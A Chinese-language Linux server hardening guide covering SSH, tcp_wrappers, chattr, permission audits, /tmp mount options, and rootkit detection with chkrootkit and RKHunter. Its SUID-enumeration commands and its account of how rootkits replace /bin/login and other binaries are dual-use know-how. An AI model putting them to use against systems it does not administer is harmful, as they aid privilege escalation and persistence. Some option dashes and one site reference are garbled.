1、遠(yuǎn)程登錄取消telnet而采用SSH方式 telnet是一種古老的遠(yuǎn)程登錄認(rèn)證服務(wù),它在網(wǎng)絡(luò)上用明文傳送口令和數(shù)據(jù),因此別有用心的人就會非常容易截獲這些口令和數(shù)據(jù)。而且,telnet服務(wù)程序的安全驗(yàn)證方式也極其脆弱,攻擊者可以輕松將虛假信息傳送給服務(wù)器?,F(xiàn)在遠(yuǎn)程登錄基本拋棄了telnet這種方式,而取而代之的是通過SSH服務(wù)遠(yuǎn)程登錄服務(wù)器。
2、合理使用Shell歷史命令記錄功能 在Linux下可通過history命令查看用戶所有的歷史操作記錄,同時(shí)shell命令操作記錄默認(rèn)保存在用戶目錄下的.bash_history文件中,通過這個(gè)文件可以查詢shell命令的執(zhí)行歷史,有助于運(yùn)維人員進(jìn)行系統(tǒng)審計(jì)和問題排查,同時(shí),在服務(wù)器遭受黑客攻擊后,也可以通過這個(gè)命令或文件查詢黑客登錄服務(wù)器所執(zhí)行的歷史命令操作,但是有時(shí)候黑客在入侵服務(wù)器后為了毀滅痕跡,可能會刪除.bash_history文件,這就需要合理的保護(hù)或備份.bash_history文件。
3、啟用tcp_wrappers防火墻Tcp_Wrappers是一個(gè)用來分析TCP/IP封包的軟件,類似的IP封包軟件還有iptables。Linux默認(rèn)都安裝了Tcp_Wrappers。作為一個(gè)安全的系統(tǒng),Linux本身有兩層安全防火墻,通過IP過濾機(jī)制的iptables實(shí)現(xiàn)第一層防護(hù)。iptables防火墻通過直觀地監(jiān)視系統(tǒng)的運(yùn)行狀況,阻擋網(wǎng)絡(luò)中的一些惡意攻擊,保護(hù)整個(gè)系統(tǒng)正常運(yùn)行,免遭攻擊和破壞。如果通過了第一層防護(hù),那么下一層防護(hù)就是tcp_wrappers了。通過Tcp_Wrappers可以實(shí)現(xiàn)對系統(tǒng)中提供的某些服務(wù)的開放與關(guān)閉、允許和禁止,從而更有效地保證系統(tǒng)安全運(yùn)行。
文件系統(tǒng)安全
1、鎖定系統(tǒng)重要文件系統(tǒng)運(yùn)維人員有時(shí)候可能會遇到通過root用戶都不能修改或者刪除某個(gè)文件的情況,產(chǎn)生這種情況的大部分原因可能是這個(gè)文件被鎖定了。在Linux下鎖定文件的命令是chattr,通過這個(gè)命令可以修改ext2、ext3、ext4文件系統(tǒng)下文件屬性,但是這個(gè)命令必須有超級用戶root來執(zhí)行。和這個(gè)命令對應(yīng)的命令是lsattr,這個(gè)命令用來查詢文件屬性。對重要的文件進(jìn)行加鎖,雖然能夠提高服務(wù)器的安全性,但是也會帶來一些不便。例如:在軟件的安裝、升級時(shí)可能需要去掉有關(guān)目錄和文件的immutable屬性和append-only屬性,同時(shí),對日志文件設(shè)置了append-only屬性,可能會使日志輪換(logrotate)無法進(jìn)行。因此,在使用chattr命令前,需要結(jié)合服務(wù)器的應(yīng)用環(huán)境來權(quán)衡是否需要設(shè)置immutable屬性和append-only屬性。另外,雖然通過chattr命令修改文件屬性能夠提高文件系統(tǒng)的安全性,但是它并不適合所有的目錄。chattr命令不能保護(hù)/、/dev、/tmp、/var等目錄。根目錄不能有不可修改屬性,因?yàn)槿绻夸浘哂胁豢尚薷膶傩?,那么系統(tǒng)根本無法工作:/dev在啟動(dòng)時(shí),syslog需要?jiǎng)h除并重新建立/dev/log套接字設(shè)備,如果設(shè)置了不可修改屬性,那么可能出問題;/tmp目錄會有很多應(yīng)用程序和系統(tǒng)程序需要在這個(gè)目錄下建立臨時(shí)文件,也不能設(shè)置不可修改屬性;/var是系統(tǒng)和程序的日志目錄,如果設(shè)置為不可修改屬性,那么系統(tǒng)寫日志將無法進(jìn)行,所以也不能通過chattr命令保護(hù)。
2、文件權(quán)限檢查和修改不正確的權(quán)限設(shè)置直接威脅著系統(tǒng)的安全,因此運(yùn)維人員應(yīng)該能及時(shí)發(fā)現(xiàn)這些不正確的權(quán)限設(shè)置,并立刻修正,防患于未然。下面列舉幾種查找系統(tǒng)不安全權(quán)限的方法。
(1)查找系統(tǒng)中任何用戶都有寫權(quán)限的文件或目錄
查找文件:find / -type f -perm -2 -o -perm -20 |xargs ls -al查找目錄:find / -type d -perm -2 -o -perm -20 |xargs ls –ld
(2)查找系統(tǒng)中所有含“s”位的程序
find / -type f -perm -4000 -o -perm -2000 -print | xargs ls –al
含有“s”位權(quán)限的程序?qū)ο到y(tǒng)安全威脅很大,通過查找系統(tǒng)中所有具有“s”位權(quán)限的程序,可以把某些不必要的“s”位程序去掉,這樣可以防止用戶濫用權(quán)限或提升權(quán)限的可能性。
(3)檢查系統(tǒng)中所有suid及sgid文件
find / -user root -perm -2000 -print -exec md5sum {} \;find / -user root -perm -4000 -print -exec md5sum {} \;
將檢查的結(jié)果保存到文件中,可在以后的系統(tǒng)檢查中作為參考。
(4)檢查系統(tǒng)中沒有屬主的文件
find / -nouser -o –nogroup
沒有屬主的孤兒文件比較危險(xiǎn),往往成為黑客利用的工具,因此找到這些文件后,要么刪除掉,要么修改文件的屬主,使其處于安全狀態(tài)。
3、/tmp、/var/tmp、/dev/shm安全設(shè)定在Linux系統(tǒng)中,主要有兩個(gè)目錄或分區(qū)用來存放臨時(shí)文件,分別是/tmp和/var/tmp。存儲臨時(shí)文件的目錄或分區(qū)有個(gè)共同點(diǎn)就是所有用戶可讀寫、可執(zhí)行,這就為系統(tǒng)留下了安全隱患。攻擊者可以將病毒或者木馬腳本放到臨時(shí)文件的目錄下進(jìn)行信息收集或偽裝,嚴(yán)重影響服務(wù)器的安全,此時(shí),如果修改臨時(shí)目錄的讀寫執(zhí)行權(quán)限,還有可能影響系統(tǒng)上應(yīng)用程序的正常運(yùn)行,因此,如果要兼顧兩者,就需要對這兩個(gè)目錄或分區(qū)就行特殊的設(shè)置。/dev/shm是Linux下的一個(gè)共享內(nèi)存設(shè)備,在Linux啟動(dòng)的時(shí)候系統(tǒng)默認(rèn)會加載/dev/shm,被加載的/dev/shm使用的是tmpfs文件系統(tǒng),而tmpfs是一個(gè)內(nèi)存文件系統(tǒng),存儲到tmpfs文件系統(tǒng)的數(shù)據(jù)會完全駐留在RAM中,這樣通過/dev/shm就可以直接操控系統(tǒng)內(nèi)存,這將非常危險(xiǎn),因此如何保證/dev/shm安全也至關(guān)重要。對于/tmp的安全設(shè)置,需要看/tmp是一個(gè)獨(dú)立磁盤分區(qū),還是一個(gè)根分區(qū)下的文件夾,如果/tmp是一個(gè)獨(dú)立的磁盤分區(qū),那么設(shè)置非常簡單,修改/etc/fstab文件中/tmp分區(qū)對應(yīng)的掛載屬性,加上nosuid、noexec、nodev三個(gè)選項(xiàng)即可,修改后的/tmp分區(qū)掛載屬性類似如下:LABEL=/tmp /tmp ext3 rw,nosuid,noexec,nodev 0 0 其中,nosuid、noexec、nodev選項(xiàng),表示不允許任何suid程序,并且在這個(gè)分區(qū)不能執(zhí)行任何腳本等程序,并且不存在設(shè)備文件。在掛載屬性設(shè)置完成后,重新掛載/tmp分區(qū),保證設(shè)置生效。對于/var/tmp,如果是獨(dú)立分區(qū),安裝/tmp的設(shè)置方法是修改/etc/fstab文件即可;如果是/var分區(qū)下的一個(gè)目錄,那么可以將/var/tmp目錄下所有數(shù)據(jù)移動(dòng)到/tmp分區(qū)下,然后在/var下做一個(gè)指向/tmp的軟連接即可。也就是執(zhí)行如下操作:
[root@server ~]# mv /var/tmp/* /tmp[root@server ~]# ln -s /tmp /var/tmp
如果/tmp是根目錄下的一個(gè)目錄,那么設(shè)置稍微復(fù)雜,可以通過創(chuàng)建一個(gè)loopback文件系統(tǒng)來利用Linux內(nèi)核的loopback特性將文件系統(tǒng)掛載到/tmp下,然后在掛載時(shí)指定限制加載選項(xiàng)即可。一個(gè)簡單的操作示例如下:
[root@server ~]# dd if=/dev/zero of=/dev/tmpfs bs=1M count=10000[root@server ~]# mke2fs -j /dev/tmpfs[root@server ~]# cp -av /tmp /tmp.old[root@server ~]# mount -o loop,noexec,nosuid,rw /dev/tmpfs /tmp[root@server ~]# chmod 1777 /tmp[root@server ~]# mv -f /tmp.old/* /tmp/[root@server ~]# rm -rf /tmp.old
最后,編輯/etc/fstab,添加如下內(nèi)容,以便系統(tǒng)在啟動(dòng)時(shí)自動(dòng)加載loopback文件系統(tǒng):
/dev/tmpfs /tmp ext3 loop,nosuid,noexec,rw 0 0
Linux后門入侵檢測工具rootkit是Linux平臺下最常見的一種木馬后門工具,它主要通過替換系統(tǒng)文件來達(dá)到入侵和和隱蔽的目的,這種木馬比普通木馬后門更加危險(xiǎn)和隱蔽,普通的檢測工具和檢查手段很難發(fā)現(xiàn)這種木馬。rootkit攻擊能力極強(qiáng),對系統(tǒng)的危害很大,它通過一套工具來建立后門和隱藏行跡,從而讓攻擊者保住權(quán)限,以使它在任何時(shí)候都可以使用root權(quán)限登錄到系統(tǒng)。rootkit主要有兩種類型:文件級別和內(nèi)核級別,下面分別進(jìn)行簡單介紹。文件級別的rootkit一般是通過程序漏洞或者系統(tǒng)漏洞進(jìn)入系統(tǒng)后,通過修改系統(tǒng)的重要文件來達(dá)到隱藏自己的目的。在系統(tǒng)遭受rootkit攻擊后,合法的文件被木馬程序替代,變成了外殼程序,而其內(nèi)部是隱藏著的后門程序。通常容易被rootkit替換的系統(tǒng)程序有l(wèi)ogin、ls、ps、ifconfig、du、find、netstat等,其中l(wèi)ogin程序是最經(jīng)常被替換的,因?yàn)楫?dāng)訪問Linux時(shí),無論是通過本地登錄還是遠(yuǎn)程登錄,/bin/login程序都會運(yùn)行,系統(tǒng)將通過/bin/login來收集并核對用戶的賬號和密碼,而rootkit就是利用這個(gè)程序的特點(diǎn),使用一個(gè)帶有根權(quán)限后門密碼的/bin/login來替換系統(tǒng)的/bin/login,這樣攻擊者通過輸入設(shè)定好的密碼就能輕松進(jìn)入系統(tǒng)。此時(shí),即使系統(tǒng)管理員修改root密碼或者清除root密碼,攻擊者還是一樣能通過root用戶登錄系統(tǒng)。攻擊者通常在進(jìn)入Linux系統(tǒng)后,會進(jìn)行一系列的攻擊動(dòng)作,最常見的是安裝嗅探器收集本機(jī)或者網(wǎng)絡(luò)中其他服務(wù)器的重要數(shù)據(jù)。在默認(rèn)情況下,Linux中也有一些系統(tǒng)文件會監(jiān)控這些工具動(dòng)作,例如ifconfig命令,所以,攻擊者為了避免被發(fā)現(xiàn),會想方設(shè)法替換其他系統(tǒng)文件,常見的就是ls、ps、ifconfig、du、find、netstat等。如果這些文件都被替換,那么在系統(tǒng)層面就很難發(fā)現(xiàn)rootkit已經(jīng)在系統(tǒng)中運(yùn)行了。這就是文件級別的rootkit,對系統(tǒng)維護(hù)很大,目前最有效的防御方法是定期對系統(tǒng)重要文件的完整性進(jìn)行檢查,如果發(fā)現(xiàn)文件被修改或者被替換,那么很可能系統(tǒng)已經(jīng)遭受了rootkit入侵。檢查件完整性的工具很多,常見的有Tripwire、 aide等,可以通過這些工具定期檢查文件系統(tǒng)的完整性,以檢測系統(tǒng)是否被rootkit入侵。內(nèi)核級rootkit是比文件級rootkit更高級的一種入侵方式,它可以使攻擊者獲得對系統(tǒng)底層的完全控制權(quán),此時(shí)攻擊者可以修改系統(tǒng)內(nèi)核,進(jìn)而截獲運(yùn)行程序向內(nèi)核提交的命令,并將其重定向到入侵者所選擇的程序并運(yùn)行此程序,也就是說,當(dāng)用戶要運(yùn)行程序A時(shí),被入侵者修改過的內(nèi)核會假裝執(zhí)行A程序,而實(shí)際上卻執(zhí)行了程序B。內(nèi)核級rootkit主要依附在內(nèi)核上,它并不對系統(tǒng)文件做任何修改,因此一般的檢測工具很難檢測到它的存在,這樣一旦系統(tǒng)內(nèi)核被植入rootkit,攻擊者就可以對系統(tǒng)為所欲為而不被發(fā)現(xiàn)。目前對于內(nèi)核級的rootkit還沒有很好的防御工具,因此,做好系統(tǒng)安全防范就非常重要,將系統(tǒng)維持在最小權(quán)限內(nèi)工作,只要攻擊者不能獲取root權(quán)限,就無法在內(nèi)核中植入rootkit。
1、rootkit后門檢測工具chkrootkit chkrootkit是一個(gè)Linux系統(tǒng)下查找并檢測rootkit后門的工具,它的官方址:。 chkrootkit沒有包含在官方的CentOS源中,因此要采取手動(dòng)編譯的方法來安裝,不過這種安裝方法也更加安全。chkrootkit的使用比較簡單,直接執(zhí)行chkrootkit命令即可自動(dòng)開始檢測系統(tǒng)。下面是某個(gè)系統(tǒng)的檢測結(jié)果:
[root@server chkrootkit]# /usr/local/chkrootkit/chkrootkitChecking `ifconfig’… INFECTEDChecking `ls’… INFECTEDChecking `login’… INFECTEDChecking `netstat’… INFECTEDChecking `ps’… INFECTEDChecking `top’… INFECTEDChecking `sshd’… not infectedChecking `syslogd’… not tested
從輸出可以看出,此系統(tǒng)的ifconfig、ls、login、netstat、ps和top命令已經(jīng)被感染。針對被感染rootkit的系統(tǒng),最安全而有效的方法就是備份數(shù)據(jù)重新安裝系統(tǒng)。chkrootkit在檢查rootkit的過程中使用了部分系統(tǒng)命令,因此,如果服務(wù)器被黑客入侵,那么依賴的系統(tǒng)命令可能也已經(jīng)被入侵者替換,此時(shí)chkrootkit的檢測結(jié)果將變得完全不可信。為了避免chkrootkit的這個(gè)問題,可以在服務(wù)器對外開放前,事先將chkrootkit使用的系統(tǒng)命令進(jìn)行備份,在需要的時(shí)候使用備份的原始系統(tǒng)命令讓chkrootkit對rootkit進(jìn)行檢測。
2、rootkit后門檢測工具RKHunter RKHunter是一款專業(yè)的檢測系統(tǒng)是否感染rootkit的工具,它通過執(zhí)行一系列的腳本來確認(rèn)服務(wù)器是否已經(jīng)感染rootkit。在官方的資料中,RKHunter可以作的事情有:MD5校驗(yàn)測試,檢測文件是否有改動(dòng)
檢測rootkit使用的二進(jìn)制和系統(tǒng)工具文件 檢測特洛伊木馬程序的特征碼 檢測常用程序的文件屬性是否異常 檢測系統(tǒng)相關(guān)的測試 檢測隱藏文件 檢測可疑的核心模塊LKM 檢測系統(tǒng)已啟動(dòng)的監(jiān)聽端口
在Linux終端使用rkhunter來檢測,最大的好處在于每項(xiàng)的檢測結(jié)果都有不同的顏色顯示,如果是綠色的表示沒有問題,如果是紅色的,那就要引起關(guān)注了。另外,在執(zhí)行檢測的過程中,在每個(gè)部分檢測完成后,需要以Enter鍵來繼續(xù)。如果要讓程序自動(dòng)運(yùn)行,可以執(zhí)行如下命令:
[root@server ~]# /usr/local/bin/rkhunter –check –skip-keypress
同時(shí),如果想讓檢測程序每天定時(shí)運(yùn)行,那么可以在/etc/crontab中加入如下內(nèi)容:
30 09 * * * root /usr/local/bin/rkhunter –check –cronjob
這樣,rkhunter檢測程序就會在每天的9:30分運(yùn)行一次。服務(wù)器遭受攻擊后的處理過程安全總是相對的,再安全的服務(wù)器也有可能遭受到攻擊。作為一個(gè)安全運(yùn)維人員,要把握的原則是:盡量做好系統(tǒng)安全防護(hù),修復(fù)所有已知的危險(xiǎn)行為,同時(shí),在系統(tǒng)遭受攻擊后能夠迅速有效地處理攻擊行為,最大限度地降低攻擊對系統(tǒng)產(chǎn)生的影響。